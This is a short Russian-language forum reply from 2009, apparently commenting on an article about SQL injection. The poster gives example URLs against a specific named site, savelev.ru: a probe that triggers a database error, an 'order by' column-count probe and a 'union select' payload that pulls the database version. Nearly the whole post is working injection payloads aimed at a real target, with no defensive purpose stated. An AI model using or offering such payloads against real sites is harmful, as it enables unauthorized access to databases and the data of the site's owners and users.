14.04.2009, 23:11
|
|
Новичок
Регистрация: 11.02.2009
Сообщений: 3
Провел на форуме:
55561
Репутация:
5
|
|
Вообще автор написал хорошую статью... но не указан случай когда при переборе +order+by... Не дает нам результатов.
Пример
Код:
http://savelev.ru/journal/case/more/?id=1
мы наблюдаем ошибку в БД, но таблицы мы не можем узнать.
Код:
http://savelev.ru/journal/case/more/?id=-1+order+by+999--
Тогда перебор будет другим а точнее
Код:
http://savelev.ru/journal/case/more/?id=-1+union+select+1,2,3,4,5,0,1,version(),3,4,5--
|
|
|